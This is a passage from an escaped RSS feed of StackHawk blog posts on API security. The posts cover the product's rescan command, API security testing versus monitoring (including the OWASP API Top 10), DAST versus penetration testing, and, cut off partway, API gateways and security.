found.&lt;/p&gt;&lt;p&gt;Sound familiar?  It should! It&amp;#39;s the same way you’d run unit tests on only the failed tests.&lt;/p&gt;&lt;h2&gt;The Rescan command&lt;/h2&gt;&lt;p&gt;Using the `hawk rescan` command will run the latest scan, or a specific scan if an ID is supplied, against your application. This rescan will only test your application with plugins that had findings on the previous run.  To use Rescan, go to the StackHawk scan details page with the vulnerability. From here, you can hit the Rescan Findings button to get the code to rescan your application.&lt;/p&gt;&lt;p&gt;
Simply copy/paste the command into your terminal and it will run a scan with only the plugins that were previously alerted on.  You can see the difference between the number of plugins that were run in the first test compared to the number of plugins that were run in the rescan: &lt;/p&gt;&lt;p&gt;Rescanning the previous findings only took a third of the time of the original scan.&lt;/p&gt;&lt;h2&gt;Results&lt;/h2&gt;&lt;p&gt;StackHawk will include the findings of a rescan and show you what you fixed from the previous scan. The StackHawk Scan Details page now includes a Fixed counter that shows the number of alerts fixed between this scan and the previous scan, as well as a summary table of all fixed findings. Now that&amp;#39;s validation! &lt;/p&gt;&lt;h2&gt;📺 See It in Action&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/l26ozpqnfd?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Getting Started With Rescan&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;New to StackHawk?&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Create a &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk account&lt;/u&gt;&lt;/a&gt; and read the &lt;a href=&quot;https://docs.stackhawk.com/getting-started/&quot;&gt;&lt;u&gt;Getting Started&lt;/u&gt;&lt;/a&gt; guide to complete your first scan&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t have an app to test? Follow the &lt;a href=&quot;https://docs.stackhawk.com/getting-started/javaspringvulny-gh-actions/intro.html&quot;&gt;Javapspringvulny Tutorial&lt;/a&gt; to try out StackHawk without connecting your own application or configuring an environment &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Already a StackHawk User?&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Read the &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#hawk-rescan&quot;&gt;&lt;u&gt;Rescan&lt;/u&gt;&lt;/a&gt; docs to start validating fixes faster&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Need some help? Reach out to support@stackhawk.com or send us a chat!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security Monitoring vs. Testing: A Comprehensive Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-testing-vs-api-security-monitoring</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;The hottest topic in the API realm these days seems to be API security. Looking at the OWASP API Top Ten, it’s easy to see that many APIs are not immune to the effects of poor application security. As with any topic, there are many different ways to slice and dice precisely what this means. Does security start with how the APIs are coded or when the API is available in production? Is it better to take a proactive or reactive approach to API security or both? Understanding the entire API lifecycle is crucial to effectively secure an API, as it progresses through various stages, including planning, development, testing, staging, and production. This is precisely the starting point we are looking to dive into when discussing API security testing vs API security monitoring. Both of these components hold a place in modern web API development and operations. However, it can be confusing as to where one ends and where the other begins. Let’s take a deeper look!&lt;/p&gt;&lt;h2&gt;What is API Security?&lt;/h2&gt;&lt;p&gt;API security refers to the practices and measures taken to protect Application Programming Interfaces (APIs) from unauthorized access, use, disclosure, disruption, modification, or destruction. Within modern software, APIs are critical to connectivity between different systems, services, and applications. Ensuring the confidentiality, integrity, and availability of APIs is paramount to safeguarding sensitive data and maintaining seamless operations.&lt;/p&gt;&lt;p&gt;API security, in the broadest sense, encompasses a wide range of strategies, including implementing authentication and authorization mechanisms, encrypting data in transit and at rest, and continuously monitoring API traffic for suspicious activities. API security has become an extremely hot topic in the last few years as APIs have become more critical.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The drive to “shift left” has meant that security has become a concern earlier in the development lifecycle. The days of security scans and testing happening just before the move to production is archaic and inefficient. Modern API security testing has moved earlier in the software development lifecycle to find bugs, defects, and any type of API vulnerability before developers are deploying code in production. This type of testing generally takes place as developers are writing the code for a service that is not yet live. Although static code scans should be part of an engineering team’s repertoire, API security testing generally tests running API code for vulnerabilities by attempting to exploit known attack vectors. By doing this, developers can be aware of potential vulnerabilities, fix them, and reduce the APIs’ attack surface.&lt;/p&gt;&lt;p&gt;API security testing helps to identify potential issues before the code even moves into production. Tools like StackHawk actually move this process into the CI/CD pipeline so that scans can run automatically and consistently. Some tools allow you to upload an OpenAPI spec to define the API you’d like to test. From here, the testing tool is then able to generate tests for expected input and output and even test for user access, encryption, and authentication concerns. Additionally, it is crucial to test for business logic vulnerabilities, as these can be exploited by attackers and are often missed by traditional monitoring tools.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why use API Security Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing should be used as part of a modern SDLC to prevent security defects before they hit production. There’s never any guarantee that developers are following security best practices as they may be too rushed or not even aware of security flaws introduced through their code. Maintaining an updated API inventory is crucial for effective security testing, as it ensures that all APIs, including undocumented ones, are discovered and classified. Using a tool for API security testing in the early phases of development can allow developers and organizations to detect security issues and remedy them.&lt;/p&gt;&lt;p&gt;This also allows developers to work more quickly knowing that they have a second line of defense when it comes to detecting security defects in their code. Since API security testing can be automated, the process can be run as part of the development lifecycle without impacting developers and project timelines. The benefit of this is that security defects can be found earlier, automatically, and some tools even guide developers on how to fix the bugs they’ve introduced. Finding security defects later can lead to major overhauls of the codebase in order to remedy issues. This may require retesting of previously tested components and repetition of other late-stage SDLC activities. All of these outcomes likely will extend timelines resulting in delayed release cycles. Using API security testing leads to more secure software and a more predictable SDLC timeline.&lt;/p&gt;&lt;h3&gt;OWASP API Top 10 Security Threats&lt;/h3&gt;&lt;p&gt;The Open Web Application Security Project (OWASP) has identified the top 10 security threats to APIs, which are critical to address when creating APIs. Briefly speaking, here are the key areas that OWASP recommends keeping an eye on as these are the most common and critical vulnerabilities within the API ecosystem.These threats include:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Object-Level Authorization:&lt;/b&gt; Occurs when an API does not properly enforce access controls, allowing attackers to manipulate object identifiers to access unauthorized data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken User Authentication:&lt;/b&gt; Weak authentication mechanisms can be exploited to impersonate users and gain unauthorized access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Excessive Data Exposure:&lt;/b&gt; APIs that return more data than necessary can inadvertently expose sensitive information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Resources and Rate Limiting:&lt;/b&gt; APIs without proper rate limiting are vulnerable to abuse, leading to performance degradation or denial of service.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Function-Level Authorization:&lt;/b&gt; Insufficient authorization checks at the function level can allow attackers to execute unauthorized actions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Mass Assignment:&lt;/b&gt; Automatically binding user input to data models without proper validation can lead to unauthorized data manipulation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Misconfiguration:&lt;/b&gt; Incorrectly configured security settings can create vulnerabilities that attackers can exploit.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Injection:&lt;/b&gt; Flaws that allow untrusted data to be interpreted as code, allowing API users to inject malicious code and leading to the execution of malicious commands.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improper Asset Management:&lt;/b&gt; Lack of proper inventory and management of API endpoints can result in outdated or insecure APIs being exposed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Insufficient Logging and Monitoring:&lt;/b&gt; Without adequate logging and monitoring, detecting and responding to security incidents becomes challenging.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Implementing effective security measures to mitigate these risks is essential for maintaining the security and integrity of APIs. Luckily, you don&amp;#39;t need to find and manage these on your own since many tools to help exist!&lt;/p&gt;&lt;h2&gt;Top Free and Open Source API Testing Tools&lt;/h2&gt;&lt;p&gt;To identify security vulnerabilities and enhance the overall security posture of APIs, several open-source API testing tools are available. These tools are invaluable for performing comprehensive security testing and ensuring that APIs are robust against potential threats:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Postman:&lt;/b&gt; A widely-used API development and testing tool that allows users to send, receive, and analyze API requests. Postman supports automated testing and can be integrated into CI/CD pipelines for continuous security testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Swagger:&lt;/b&gt; An open-source toolkit for building, testing, and documenting APIs. Swagger enables developers to define API endpoints and their expected behavior, facilitating thorough testing and documentation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;JMeter:&lt;/b&gt; Originally a load testing tool, JMeter can also be used for security testing and performance testing of APIs. It supports various protocols and can simulate multiple users to test API performance under load.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SoapUI:&lt;/b&gt; A popular API testing tool that supports both SOAP and REST APIs. SoapUI offers advanced testing capabilities, including functional, security, and load testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Karate:&lt;/b&gt; An open-source API testing tool that allows users to write tests in a simple, readable format. Karate supports both HTTP and HTTPS protocols and can be used for testing RESTful APIs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These tools are essential for identifying security vulnerabilities and improving the overall security posture of APIs. However, it is crucial to use them in conjunction with other security measures, such as access control, encryption, and secure coding practices, to ensure comprehensive API security.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security Monitoring?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API Security Monitoring goes beyond merely trying to monitor API performance. It is more focused on detecting threats within traffic coming into an API. This monitoring is usually applied to production APIs and monitors traffic as requests and responses flow through the APIs. API Security Monitoring is less proactive, in terms of preventing attacks before they happen, and more focused on being reactive by alerting companies of potential attacks and vulnerabilities that are actively being exploited.&lt;/p&gt;&lt;p&gt;API Security monitoring also may look at the geographic data attached to the request. Doing this can ensure that any regions that you want to exclude from using your APIs can either be blocked or teams at least alerted about traffic coming from a restricted region. This means that API security monitoring not only analyzes the request and response traffic but also makes sure the origin of the traffic is permitted.&lt;/p&gt;&lt;p&gt;Many times, API security monitoring tools will also allow API traffic to be intercepted and prevented from going to an upstream API while returning a custom response for the API call. This can prevent malicious traffic from overwhelming an API endpoint, potentially causing a denial of service attack.&lt;/p&gt;&lt;p&gt;API security monitoring is how companies can analyze traffic to ensure that APIs aren&amp;#39;t being exploited and if they are, be notified. As mentioned, some API security monitoring platforms also allow the blocking of potentially malicious API calls and other automated flows.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why use API Security Monitoring?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security monitoring is an important part of ongoing threat management. Even with the most secure code, exploits can be found and go undetected until it’s too late. Monitoring for exploits and attacks that are occurring on production APIs, by using an API security monitoring tool, is a great way to create automated defenses against attackers. By detecting attacks in their early stages, attacks can be prevented or halted quickly to minimize losses. Proper monitoring can help to detect common attacks that are used against APIs, such as brute force attacks, by ensuring resource management and rate limiting are in place and working. With these limits in mind, alerts can be configured to let the support team know there may be an issue or ongoing attack. After the attack is halted, information gathered by the monitoring tool can be used to improve the code and harden the API platform for the future.&lt;/p&gt;&lt;p&gt;Using API security platforms can not only detect when malicious activity is occurring but actively helps to prevent and mitigate it. This may also help to detect attacks that occur as part of accidental security misconfiguration. As with any aspect of application security, having monitoring in place allows your organization to have an active defense against threats.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Should You Use Both API Security Testing and Monitoring?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Using both API security testing and API security monitoring together can help to create an extremely robust security framework for your organization. API usage has been exploding in growth over the past few years and with that, there has been an increase in API-related security events. Because of this, using both approaches as part of your API testing regimen can help to make sure your code and platform are secure before it hits production. It also can add peace of mind when it is released into the wild. By using both API security testing and API security monitoring, you can mitigate many of the exploits and vulnerabilities outlined in the &lt;a href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;&lt;u&gt;OWASP API Security Top Ten&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Using both types of tools, organizations can be proactive by testing services earlier in the software development lifecycle but also monitor potential security threats unfolding in the production environment if they do occur or slip past the security testing. With the ever-changing landscape of security and potential attack vectors, a suite of tools is recommended that cover your operations from all angles.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Getting Started with API Security Testing and Monitoring&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;At StackHawk, in our experience, it makes the most sense to start with API security testing and then layer in monitoring as the code goes live. Implementing API security testing should be done first since it can help to uncover defects earlier in the development process. This should be done by adding it as part of your existing automated test suites to make sure you&amp;#39;re also including security tests on top of unit, E2E, and other API testing. Then, as APIs begin to see live traffic, API monitoring should be added on top to monitor the traffic for potential attacks occurring in real time.&lt;/p&gt;&lt;p&gt;For API security testing, StackHawk is a best-in-class solution which brings automation, easy configurability, and robust testing to your code. With StackHawk, creating your API security testing configuration can be done in many different ways. One way is to run a scan to crawl your application and identify endpoints, although this can be rather inconsistent and miss API endpoints. For more complete and explicit testing, you can use an OpenAPI spec to define all endpoints as well as the expected input and output of your APIs. StackHawk also allows you to test API authorization and authentication to ensure sensitive data is protected and access control is working as anticipated.&lt;/p&gt;&lt;p&gt;On top of RESTful API support, StackHawk also supports GraphQL APIs, through the use of an introspection endpoint, and SOAP APIs, by uploading a WSDL to identify services. You can also use a Postman Collection to identify endpoints and add them to your security scan. Going beyond traditional API security testing tools, StackHawk allows you to support your legacy APIs and technologies as well as the latest and greatest.&lt;/p&gt;&lt;p&gt;To get started with API security testing and StackHawk, you first need to &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a StackHawk account&lt;/u&gt;&lt;/a&gt;. After you have signed up, you&amp;#39;ll simply need to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Add the StackHawk config file to your project&amp;#39;s repo. The config file will link out to OpenAPI Spec, GraphQL introspection endpoint, Postman collection, or any other inputs used to inform the scan of your available endpoints.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add the StackHawk scan to your setup. This can be done via the StackHawk docker container or StackHawk CLI tool. This can be added directly to your CI/CD pipeline to enable testing directly within your GitOps flow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;From here, you can start catching API security issues as they are introduced into the codebase. StackHawk will perform API requests against your endpoints and inform you of any potential security issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Once these steps are complete, you&amp;#39;ll have active and automated API security testing built directly into your organization&amp;#39;s SDLC.&lt;/p&gt;&lt;p&gt;Next, you will add in your next layer of API protection: API security monitoring. For this, most companies either offer an SDK which can be added directly to your API code or a plugin for the API gateway or proxy you may be using. The monitoring tool will receive analytics data from the traffic running through the API which will then be monitored for anomalies. Implementing a monitoring tool is usually quite simple:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Add the API monitoring tool to your stack through an SDK or plugin&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Depending on the tool, configure the tool for the type of monitoring you&amp;#39;d like to enable&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create your notification channels for alerting when anomalies are detected&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Going forward, receive alerts any time an event of interest is detected to help detect any threats as they are happening&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Some platforms to check out for API security monitoring include &lt;a href=&quot;https://www.threatx.com/&quot;&gt;&lt;u&gt;ThreatX&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.arkoselabs.com/&quot;&gt;&lt;u&gt;Arkose Labs&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://www.datadoghq.com/&quot;&gt;&lt;u&gt;DataDog&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;With both of these tools in place, your APIs will be more secure as you build them and as you release them into the wild. Getting started can be extremely simple and definitely worth the investment.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Wrapping Up!&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Implementing API security testing and monitoring is a crucial step in creating and offering secure APIs. As the frequency of API attacks increases, so does the need for tools that help developers to follow security best practices more easily. With the abundance of tools available, adding these options to your SDLC has never been easier, with many even offering deep customization. These platforms allow you to prevent and monitor for many of the vulnerabilities and attacks outlined in the OWASP Top Ten. Keeping your APIs secure requires multiple angles of prevention and monitoring to ensure a holistic approach to API security.&lt;/p&gt;&lt;p&gt;At StackHawk, we cover API security testing by offering a platform that is easy to configure and easy for developers to use. Blazingly fast scans right in your CI/CD workflow and an easy-to-understand report help developers to identify and remedy any security defects. Combining StackHawk with your favorite API security monitoring tool can help to create a robust security framework to decrease your security risk to keep your APIs safe from threats. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Sign up for StackHawk&lt;/u&gt;&lt;/a&gt; today to get started!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dynamic Application Security Testing vs. Penetration Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/dynamic-application-security-testing-vs-penetration-testing</guid><category><![CDATA[API Security]]></category><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Whether we like it or not, cybersecurity is a rapidly evolving arena. It&amp;#39;s just a matter of time before your business or organization falls victim to a cyberattack. The difference between becoming a victim and not is preparedness.&lt;/p&gt;&lt;p&gt;Organizations that are prepared for these attacks have a greater chance of mitigating the damage and preventing data loss. And the most effective and appropriate way to prepare is by properly implementing &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;DAST tools&lt;/u&gt;&lt;/a&gt; and penetration testing. &lt;/p&gt;&lt;p&gt;Both dynamic application security testing and penetration testing are security processes used to evaluate the security of applications. However, they&amp;#39;re not the same. &lt;/p&gt;&lt;p&gt;Dynamic application security testing, or DAST, is a technique to find vulnerabilities in websites and applications. It was developed as a more efficient and cost-effective alternative to penetration testing and is used by many companies today.  &lt;/p&gt;&lt;p&gt;This post will discuss the use of DAST, who should use it, and how it works. We&amp;#39;ll also discuss how it differs from penetration testing and why companies need it. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Dynamic Application Security Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Dynamic application security testing is a type of security testing performed on various kinds of applications. It&amp;#39;s designed to identify vulnerabilities in applications that attackers could exploit. Companies can use DAST to assess the security of applications at any stage of development, from initial design to production. &lt;/p&gt;&lt;p&gt;Organizations can use DAST to test web-based applications, thick client applications, mobile applications, and web services. DAST is a black-box testing technique that doesn&amp;#39;t require access to the application&amp;#39;s source code. &lt;/p&gt;&lt;p&gt;DAST tools work by conducting automated scans of web applications. They crawl the application to identify potential vulnerabilities and then attempt to exploit them. If a vulnerability is found, the DAST tool will report it to the user.  &lt;/p&gt;&lt;p&gt;Security teams use DAST to find a wide range of vulnerabilities, including SQL injection flaws, cross-site scripting (XSS) vulnerabilities, and directory traversal flaws. DAST is an essential tool for application security, as it can find vulnerabilities that would be difficult to find using other methods such as manual testing. It&amp;#39;s also a relatively easy and quick way to assess the security of applications.  &lt;/p&gt;&lt;p&gt;However, one should not use DAST solely to test application security, as it can only find vulnerabilities known to the DAST tool (and not business logic vulnerabilities). &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Penetration Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Penetration testing (also known as pentesting) is an authorized simulated attack on an application, system, or network to find vulnerabilities. The end goal of pentesting is to find security risks, weaknesses, and vulnerabilities in a system, network, or application so that they can be addressed before an attacker has a chance to find and exploit them.  &lt;/p&gt;&lt;p&gt;Penetration testing can be used to perform security testing on both internal and external applications. It can be conducted using various methods, including network and application layer attacks, social engineering, and physical security testing.  &lt;/p&gt;&lt;p&gt;Penetration testing should be performed regularly as part of a comprehensive security program to identify and remediate potential security risks. Penetration tests can be manual or automated and have both advantages and disadvantages. &lt;/p&gt;&lt;p&gt;Manual penetration testing is carried out by ethical hackers who use their skills and knowledge to try and find vulnerabilities in a system. This type of testing can be comprehensive, as experienced professionals often carry it out. However, it can also be very time-consuming and expensive. &lt;/p&gt;&lt;p&gt;Automated penetration testing is carried out by software designed to scan for vulnerabilities. This type of testing is often quicker and more cost-effective than manual testing, but it can sometimes miss certain kinds of vulnerabilities. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Is DAST Different From Traditional Penetration Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST is a type of security testing that assesses the security of an application by testing it in its running state. This is in contrast to traditional penetration testing, which typically assesses the security of an application by testing it in a static state (in most cases). &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;DAST&lt;/u&gt;&lt;/a&gt; is a more comprehensive approach to security testing, as it can identify known security vulnerabilities within less time and with low human intervention. Companies can also use DAST to test the effectiveness of security controls, such as web application firewalls. &lt;/p&gt;&lt;p&gt;Traditional penetration testing is still a valuable security testing method, but it has its limitations. Additionally, penetration testing doesn&amp;#39;t always provide a complete picture of an application&amp;#39;s security posture. &lt;/p&gt;&lt;p&gt;DAST is a more modern approach to security testing that offers many benefits over traditional penetration testing. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Other Key Differences Between DAST and Penetration Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;DAST doesn&amp;#39;t require knowledge of the application&amp;#39;s inner workings; all that&amp;#39;s needed is a URL.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST can be performed without disrupting the regular operation of the application. Traditional penetration testing often requires shutting down the application or putting it in a &amp;quot;test&amp;quot; mode.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST can be performed automatically without needing a human tester. This makes DAST more efficient and less expensive than traditional penetration testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DevOps teams can easily integrate &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;&lt;u&gt;DAST tools&lt;/u&gt;&lt;/a&gt; with modern-day CI/CD tools to provide comprehensive security testing of web applications.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;When to Use DAST vs. Penetration Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There&amp;#39;s no specific answer to this inquiry. It really depends on your specific needs. DAST may be a better option if you&amp;#39;re looking for a more comprehensive assessment of an application&amp;#39;s security. However, penetration testing may be a better option if you&amp;#39;re specifically interested in identifying and exploiting vulnerabilities. &lt;/p&gt;&lt;p&gt;DAST is generally considered less invasive than penetration testing, as it doesn&amp;#39;t require access to the underlying systems. Pentesting can be more disruptive, as it may need access to systems and networks to test for vulnerabilities. &lt;/p&gt;&lt;p&gt;DAST is typically used when organizations want to assess the security of their web-based applications without disrupting business operations. Pentesting is often used when organizations want to identify and remediate vulnerabilities in their systems and networks. &lt;/p&gt;&lt;p&gt;On the other hand, penetration testing can help you verify the effectiveness of your security controls. This is important, as you want to ensure that your controls are working as intended. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST is growing in popularity as a complementary penetration testing method. DAST is especially useful in modern development environments where test-driven development and &lt;a href=&quot;https://en.wikipedia.org/wiki/Agile_software_development&quot;&gt;&lt;u&gt;Agile&lt;/u&gt;&lt;/a&gt; methodologies have become more common. &lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ve explored the differences between DAST and penetration testing, as well as how security tests can complement each other to provide a more comprehensive testing strategy. If you&amp;#39;re interested in learning more about how this security testing method works or want to know how to implement it into your testing strategy, we encourage you to &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;&lt;u&gt;contact us&lt;/u&gt;&lt;/a&gt;.  &lt;/p&gt;&lt;p&gt;Thank you for reading, and we look forward to hearing from you soon! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Keshav Malik. &lt;/i&gt;&lt;a href=&quot;https://theinfosecguy.xyz/&quot;&gt;&lt;i&gt;&lt;u&gt;Keshav&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-time developer who loves to build and break stuff. He is constantly on the lookout for new and interesting technologies and enjoys working with a diverse set of technologies in his spare time. He loves music and plays badminton whenever the opportunity presents itself.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Does an API Gateway Improve Security? A Leader's Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-does-an-api-gateway-improve-security-a-leaders-guide</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;When applications use a microservices architecture, it&amp;#39;s possible for clients and microservices to communicate directly. However, this operation is suitable for a restricted functional domain where you have a small number of microservices. The greater the number of microservices available, the more complicated it will be to know which microservice should be called. All the more so since a client will often have to call several microservices to collect all the data necessary for the operation of the application. &lt;/p&gt;&lt;p&gt;To optimize the application, you&amp;#39;ll need to ask several questions, limit the number of requests sent to the back end, and manage problems such as security. You can use an API gateway to do this.   &lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll explain how you can use &lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing/&quot;&gt;&lt;u&gt;API gateways to improve security&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is an API Gateway?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;An API gateway acts as a single entry point for the client (web application, mobile application, etc.) and protects the back-end APIs by monitoring and securing traffic and ensuring the availability of services. &lt;/p&gt;&lt;p&gt;It can do several things, including the following: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Aggregate or disaggregate different APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Realize the transformation of protocols or data, the use of non-internet compatible protocols, and the caching and orchestration of different APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Centralize security, thus avoiding having to do it at the level of the APIs of the application server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Participate in the availability and scalability of the application&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Contribute to the simplicity of API consumption by consumers&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Why Use an API Gateway Instead of Direct Client-to-API Communication?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The greater the number of APIs available, the more complicated it is to know which API should be called. This is all the more so since a client often calls several APIs to collect the data necessary for the operation of the application. &lt;/p&gt;&lt;p&gt;Without an API gateway, client applications send requests directly to APIs with the following implications: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Applications must precisely know all the services to call them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Network latency may increase by forcing multiple round trips between the client application and the back end.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensuring data security is also more complicated since all services are exposed publicly, thus increasing the attack surface.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In addition, as the API gateway abstracts from the actual implementation of the service or services, it may present consumers with only the necessary information and manage API versioning more simply.  &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Is an API Gateway Different from an API Manager?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are some differences between an API manager and an API gateway. To begin with, in terms of functionality, an API manager has a much larger number of functions than an API gateway, which is more restricted to API security and targeting filters. &lt;/p&gt;&lt;p&gt;In practice, an API manager incorporates an API gateway in its structure, acting as if it were a management system. The tool comprises features that facilitate the development and application of other APIs. These help reinforce usage rules, improve access control, collect and analyze usage statistics in detail, and manage the entire API lifecycle. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How API Gateways Help with Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A successful cyberattack can expose company, application, and user data. With that in mind, API gateways increase the system&amp;#39;s security, protecting it from attacks by malicious agents. &lt;/p&gt;&lt;p&gt;It is possible to add a protective layer that fights vectors triggered by digital attacks using a buffer zone. This turns the application&amp;#39;s focus to the business while the cache and security are in charge of the API gateway.  &lt;/p&gt;&lt;p&gt;API gateways provide a single access point for the exchange of flows, controlling calls between third-party systems and the traffic of data. In addition, they offer greater control over shared information through the centralization of everything in one interface. &lt;/p&gt;&lt;p&gt;With an API gateway, it&amp;#39;s possible, for example, to limit the permission of an accounting partner so that they can only view financial information, blocking the view of patient data. As a result, the organization can 